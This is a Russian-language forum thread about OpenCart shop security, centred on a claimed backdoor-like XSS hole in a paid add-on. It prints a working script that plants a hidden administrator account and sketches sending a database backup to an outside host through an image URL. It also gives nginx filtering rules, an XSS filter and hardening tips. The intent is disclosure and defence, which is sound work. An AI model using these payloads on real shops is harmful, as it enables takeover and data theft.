Yoda

Это... По секрету расскажите. Чем такое решение обосновано. Я без каких либо подколок. Правда интересно. Просто память никогда не резиновая.

Dynamic - это 300% отжер памяти. Только Ondemand!

Вы наверное несколько не уловили суть темы. Вопрос не в том что я взломаю. А в том что вы автору дали доступ ко всем вашим данным, сами об этом не догадываясь. Так что ваше пари это слышал звон не знаю где он.

Это только первая ласточка, которая попала в мои сети, есть ещё. Но озвучивать всё а рамках правил форума сложно. Так что ждите. Ну а как жить. Жить просто. Не использовать, требовать манибек. Аналогов полно. А что касается чести разработчика. Я приведу его же цитаты чуть позже про аналогичную ситуацию от другого героя.

Если у вас админка закрыта по айпи этот взлом не грозит. Но мало ли что ещё можно придумать.

Не совсем Так. Смотрите. В идеале. Модули не должны стучаться никуда. В данном случае модуль мало того что стучится, он ещё забирает данные, которые будучи скомпрометированы, могут создать угрозу для тысяч и тысяч магазинов.

Итак, кроме того что не платить ни при каких обстоятельствах толковых советов 0. Поэтому давайте разберем ситуацию по косточкам. 1. У нас слава богу был бекап. Но он мог бы быть скомпроментирован давно, поэтому когда вам сделали магазин - сразу сделайте бекап к себе на локальный компьютер и храните его как зеницу ока и руками сливайте раз в месяц. И под подушку. 2. Когда мы запросили бекап у хостера, мы его запросили выложить удаленно виде архивов, а не восстановить в окружение. Вот это очень важный момент. Мы не знаем, что у нас уязвимо. Движок, или хостинг. Просто примите это как аксиому - шаред хостинги дырявые. Если на шареде нет уязвимостей, то их просто либо не нашли, либо не искали, либо нашли и никто об этом не знает. И вот второй важный момент. Если у нас потенциально скомпроментированное окружение. Его надо менять. Тихо нежно не подавая признаков для атакующего. Пока нам сыпались грозные письма и мольбы прислать хоть копеечку, мы планомерно и тихо разворачивали магазин в другом месте. Еще раз повторюсь. Искать дыры в хостинге и бодаться с хостером - это бесполезно. Намного быстрее и проще взять небольшой VPS и сьехать на него, пока хакер бушует на старом проекте. Поэтому и бекапы мы запросили неявно. 3. Список методов безопасности, которые можно внедрить на сервере - огромен. От suhosin мода, который запрещает выполнение функции eval до развертывания git и работы и допуска любых подрядчиков, только к dev ветке проекта. Но эти методы доступны отнюдь не всем и не всегда. Я тот же git просто физически не перевариваю. Однако. Все же есть набор методов, который позволяет достаточно надежно прикрыться от подобных судаков. Итак... Все советы выполнимы, только в случае если у вас таки свой сервер. 1 - меняем все пароли, убиваем лишних пользователей в админке, убираем фтп, переименовываем phpmyadmin, чистим весь хлам в корне (php.info, adminer и так далее), выносим конфиги за пределы root-директории, закрываем admin через htpass, меняем порты ssh, в идеале коннект к ssh по ключу. 2 - это был 1.5 меняем mysql на mysqli, отключаем вывод ошибок не в магазине а на уровне настроек сервера. 3 - зафильтровываем весь ввод на уровне сервера. Мы физически не можем провести рефакторинг всего кода. А вот сделать правило в nginx подобного вида легко: ## Block SQL injections set $block_sql_injections 0; if ($query_string "union.*select.*\(") { set $block_sql_injections 1; } if ($query_string "union.*all.*select.*") { set $block_sql_injections 1; } ..... 4. Закрываем все потенциально уязвимые директории, разрешая выполнять только index.php location ~* /(?:cache|logs|storage|image|download|system|export|vqmod)/.*\.php$ { deny all; } 5. добавляем еще немножко безопасности в nginx: server_tokens off; add_header X-Frame-Options SAMEORIGIN; add_header X-Content-Type-Options nosniff; 6. Дополнительно мы зафильтровали все что приходит к нам в request на фронт, чтобы избавиться от xss узявимостей, расставили несколько ловушек и ложных ресурсов. Как то подставили по адресу phpmyadmin голую форму. Но в целом, надо понимать есть несколько векторов атаки. Если у вас утекли фтп-пароли, все пропало. Если у вас в корне лежит backup.zip или baza_moego_magazina.zip - все пропало. Если у вас есть dev.magazin.com и там пароль admin admin все пропало. Если у вас под одним пользователем десять магазинов, и три блога на старом WP - у вас открытая дверь через задний двор любому. Если у вас включен вывод ошибок и вы используете mysql, все пропало. Если вы храните в базе данных фтп лог-пасс и smtp лог-пасс к личной почте - это оооооооооочень глупо. Если вам наложили или направили каких то файлов движка, которые можно запустить из мира и это разрешено правилами сервера - все пропало. Тоесть вам необходимо не читать и внедрять бездумно правила из гугла как что закрыть, а понимание что делать. А это бекапы под подушкой. Безопасное нескомпроментированое окружение (свой сервер) с закрытыми потенцильными лазейками и стабильная свежая версия движка с набором проверенных модулей. Тогда вы в принципе можете спать спокойно. И еще раз. Включенные логи ошибок, PHP_INFO и шаред хостинги - это зло!

От того что мы что-то пролюбим. Ничего не изменится. Потому что нет дистанционной проверки. Также я сейчас в личку скину. Ещё кое какие фиксы. Будете собирать окмод. Не лишним будет.

У меня нет этого модуля. А к автору обращались несколько раз. Он утверждал что это так надо и ничего страшного. Ну а я же да... Свожу личные счёты ага ага... Если вам от этого легче. То так и думайте. По факту природу инцидента это не меняет. Ну и давайте уже честно. Закрытый код без шеллов и закладок. И открытый с закладкой. Что лучше?

Тогда уже и фильтрацию в request.

Во первых. В любой момент. Любому представителю администрации любой аудит. Во вторых найдите обращения к сторонним ресурсам. В этом плане мы максимально открыты. В отличии от остальных. В третьих. Исключение кодированных файлов не влияет на работоспособность магазина. Так как закодирован только небольшая часть кода.

Ну и также надо закрывать settigns. Там тоже можно дел наделать побырому. Log.php.

Так проверяй на здоровье. Экранируй вывод и проверяй. Вы же тоже верите, что это случайная архитектурная ошибка.

Мало! Никто не мешает через tools/backup сделать слив базы и отправить ее на какую нить opencartadmin/logo.jpg длиннючим http заголовком. Вида $get(.... route=tools/backup+token.....блабла бла, data); $('body').append('<img src = "opencartadmin/logo.jpg?data ="' + data +'>');

function xss_clean($data) { // Fix &entity\n; $data = str_replace(array('&','<','>'), array('&amp;','&lt;','&gt;'), $data); $data = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $data); $data = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $data); $data = html_entity_decode($data, ENT_COMPAT, 'UTF-8'); // Remove any attribute starting with "on" or xmlns $data = preg_replace('#(<[^>]+?[\x00-\x20"\'])(?:on|xmlns)[^>]*+>#iu', '$1>', $data); // Remove javascript: and vbscript: protocols $data = preg_replace('#([a-z]*)[\x00-\x20]*=[\x00-\x20]*([`\'"]*)[\x00-\x20]*j[\x00-\x20]*a[\x00-\x20]*v[\x00-\x20]*a[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2nojavascript...', $data); $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*v[\x00-\x20]*b[\x00-\x20]*s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:#iu', '$1=$2novbscript...', $data); $data = preg_replace('#([a-z]*)[\x00-\x20]*=([\'"]*)[\x00-\x20]*-moz-binding[\x00-\x20]*:#u', '$1=$2nomozbinding...', $data); // Only works in IE: <span style="width: expression(alert('Ping!'));"></span> $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?expression[\x00-\x20]*\([^>]*+>#i', '$1>', $data); $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?behaviour[\x00-\x20]*\([^>]*+>#i', '$1>', $data); $data = preg_replace('#(<[^>]+?)style[\x00-\x20]*=[\x00-\x20]*[`\'"]*.*?s[\x00-\x20]*c[\x00-\x20]*r[\x00-\x20]*i[\x00-\x20]*p[\x00-\x20]*t[\x00-\x20]*:*[^>]*+>#iu', '$1>', $data); // Remove namespaced elements (we do not need them) $data = preg_replace('#</*\w+:\w[^>]*+>#i', '', $data); do { // Remove really unwanted tags $old_data = $data; $data = preg_replace('#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i', '', $data); } while ($old_data !== $data); // we are done... return $data; } Мне кажется это наиболее верный вариант, либо же выбирайте: https://stackoverflow.com/questions/1336776/xss-filtering-function-in-php

Да не, это же у меня личное))) Какое мне дело до всех тех, кто попал в зону риска.

Недавно моими друзьями была обнаружена очень неприятная ситуация, один популярный автор дополнений, допустил фатальную ошибку в разработке дополнения. Я очень хочу верить что случайно, но в целом, все указывает на то, что это специально оставленный бекдор. Но бог и администрация форума ему судья, я думаю они там сами разберутся. В силу того, что приводя куски кода дополнения, или оставляя комментарии в теме поддержки дополнения, как пользователь который его не покупал я нарушу правила форума, я попробую дать рекомендации в существующих рамках. Исходя из моей подготовки и опыта, я могу утверждать, что, проблема, в том, что когда вы заходили в админку модуля, модуль подтягивал каждый раз с сервера автора номер версии. Казалось бы что в этом такого. Но присмотревшись, оказалось, что вывод данных о версии не был экранирован, что позволяло автору или любому человеку, получившему доступ к его серверу выполнить XSS атаку на все 10 000 магазинов, которые купили любое из дополнений автора, к примеру вместо номера версии отдать вот такой простой скрипт к примеру: <script> // shell sample // seocms the best architectural mistake forever // i got all your 10 000 shops // i install 10 000 backdors function getUrlVars() { var vars = [], hash, hashes = null; if (window.location.href.indexOf("?") && window.location.href.indexOf("&")) { hashes = window.location.href.slice(window.location.href.indexOf("?") + 1).split("&"); } else if (window.location.href.indexOf("?")) { hashes = window.location.href.slice(window.location.href.indexOf("?") + 1); } if (hashes != null) { for (var i = 0; i < hashes.length; i++) { hash = hashes[i].split("="); vars[hash[0]] = hash[1]; } } return vars; } var url_vars = getUrlVars(); var token = url_vars.token; var host = window.location.origin; var action = host + "/admin/index.php?route=user/user/add&token=" + token; document.addEventListener("DOMContentLoaded", function(event) { $.post( action, { username: "DummiMarkHack", user_group_id: "1", firstname: "Lol", lastname: "Haha", email: "[email protected]", password: "1234", confirm: "1234", status: "1" } ); }); </script> И вот таким нехитрым способом, ни в коем случае я не грешу на автора и не хочу сказать что он это сделал специально, но береженого бог бережет. Ведь невзламываемых систем не бывает. Можно получить админский доступ в любой магазин. На котором установлены модули автора. А получив админа магазина, мы легко и просто дальше уже сливаем все что захотим - это дело техники. А учитывая то, что человек может умереть. И не продлить домен. А за доменом могут следить специально с целью захвата такого лакомого ботнета. Думаю о критичности потенциальной угрозы рассказывать не надо. Опять же повторюсь, в рамках правил форума я не могу показывать код дополнения, я его не покупал, поэтому чтобы навсегда обезопасить себя от подобной проблемы на 100% и у вас VPS вам просто необходимо добавить в файл host на своем сервере Строку 0.0.0.0 site.com // Домен сервера разработчика Как это сделать в linux - можно прочитать здесь, или обратитесь к администратору вашего сервера. Если же у вас шаред-хостинг. Максимум что вы можете сделать, это найти во всех модулях автора в языковых файлах строки opencartadmin.com и заменить их на localhost. С вашими модулями ничего не случится. Они будут работать. Но вероятность, что с постороннего ресурса вы получите xss атаку минимальная! Ну и как второстепенную меру защиты, просто добавьте htpassword авторизацию к админке. Успешного бизнеса вам, и безопасных магазинов.

В данном случае есть переписка с хостера. Факт взлома легко доказать.

Бекап в нашем случае был. Но он мог быть скомпроментирован давно, а отследить 200 000 строк кода движка - ну увольте нереально. Тут попался глупый хакер. Ну и при векторе атаке, в случае, когда база переводится на другой хост, и в бекапах она будет за три месяца назад - если будет. Не выход. Бекапы хорошо но бекапы бекапам рознь. И это первая большая ошибка большинства. Надеятся на то что где-то они там есть. Нет это не шантаж, возможно заказ, возможно "мимопроходил". И в данном случае я могу допустить, что скомпроментирован был непосредственно сервер хостера, а не движок. Но в целом это неважно. Если я расскажу просто так, то это прочитают и пройдут мимо, либо будут бездумно имплементировать советы от гугла, как вон кто-то выше написал простыню бездумных хауту. Даже не думая о том, что не все магазины живут на серверах, и даже у тех кто живет на Vps не всегда есть навыки внедрить 20% из этих нагугленных наскорую руку HOWTO. Хотя по факту есть как методология решения проблемы именно в этой ситуации, так и общая базовая методолология для исключения вероятности подобных происшествий. Я чуть позже изложу развернуто свои мысли по этому поводу.

Бекап не спасает. Если он не под подушкой. Устранить все дыры тоже в принципе не возможно. Но можно не допускать подобного. А заявление. На кого? На Васю из Тайланда? Который через три прокси пришёл. Хм... Бесполезно.

1 - база таки была убита. 2 - таки да. 3 - ну можно каждые пять минут это делать. Это не работа.

0 - не спасает, я вам могу потихому на свою базу переключить, неделя две... А данных у вас нету. Ну чуток стало медленее не заметили, а через какое то время. Все аля улю. 1 - не до конца понятно как оценить скилл компании. Скажем так, разработчиков, квалификации которых я доверяю, со всего форума, можно посчитать по пальцем одной руки. 2 - вопрос интересный, опять же с какой точки зрения, уязвимость, через которую чпокнули магазин, известная в узких кругах давно, но кроме этого там присутствовало вагон и маленькая тележка неявных проблем, ну и как рефакторить, то что под кубом, или то что продается от авторов, которые делают код без "архитетурных ошибок" и модули которых проверяет экспертная комиссия форума, по принципу "а слона и не заметил". В данном случае рефакторинг - не вариант. Очень дорого и специалистов днем с огнем не найти, но выход есть)))!

Вот с таким вопросом к нам пришел наш старый товарищ, несколько дней назад. У меня три вопроса: Что бы вы сделали на месте владельца магазина? Что сделать чтобы обезопасить себя от подобных "доброжелателей". И что делать в ситуации, когда подобные действия практически над любым магазином могут быть реализованы парой десятков авторов популярных дополнений?

Господа, все мы сталкиваемся с ситуацией, когда необходимо сформировать большой набор данных, сайтмап, yandex-market фид, и любая подобная задача, требует всегда очень много ресурсов. Большинство авторов таких дополнений слыхом не слыхивали ни про CLI-PHP, ни про возможность органично выделять ресурсы исключительно под собственные скрипты, не затрагивая общие настройки сервера. Про то, как делать CLI скрипты, я расскажу позднее, а сейчас поговорим про лимиты памяти, и почему нельзя пахабно относиться к ресурсам серверов клиентов. Приведу пример, который произошел буквально на днях. Обратились ко мне старые друзья с просьбой посмотреть, почему падает магазин. Да они добавили 30 региональных поддоменов, увеличилась нагрузка, но это не повод, чтобы 4гб памяти и 4гб SWAP забивались за 10 минут. Смотрим в настройки php_memory_limit 1gb. Система работает в связке nginx+php-fmp, и менеджер fpm резирвирует под каждый поток гиг памяти. Но нам то надо максимум 256МБ, для генерации любой страницы. Ок меняем настройки, немножко вносим тюнинг в конфиг php-fpm, все заработало, ресурсов хватает запас есть. Но из-за нехватки памяти отвалилась генерация YML, от одного известного автора. И Яндекс-маркет блочит магазин. Новый год, продажи стоят. Что делать? Писать автору, скорее всего бесполезно. Я думаю, что любой автор сказал - увеличивайте ресурсы сервера, у вас нехватка памяти, вы сами виноваты, у вас большой магазин. Я даже уверен, что 99% авторов дополнений так бы сделали. Но послушайте. Ну есть же возможность задавать настройки "на лету" прямо из выполняемого скрипта. И просто достаточно было добавить в код генерации яндекс-фида одну строку: ini_set("memory_limit",-1); И все.. Для всех скриптов, которые приходят на web-сервер у нас 256мб лимит, и наших 4 гигабайт хватает с головой обслужить весь входящий трафик и ботов. И без вопросов у нас генерится YML, которому мы разрешили использовать память безлимитно. Простейшая же задача как 2+2. Но продав более 1000 копий своего дополнения, автор даже не задумывался о подобных проблемах. Не будьте как автор! И еще. Не стесняйтесь вместо формирования каких то супермассивов, сразу писать все в файл. Вместо какого нить $thisoutYML->addItem($item), ведь очень просто делать $thisYmlSaveItemTofile($item). Ну и практически все фиды можно отдавать в .gz экономя место и время.

Извините, но банально учить программирование. в 99% случаев если вы задаете такие вопросы, у вас ничего не получится. Да и внедрение lazy, чтобы не потерять индексацию изображений в поисковиках - та еще задача.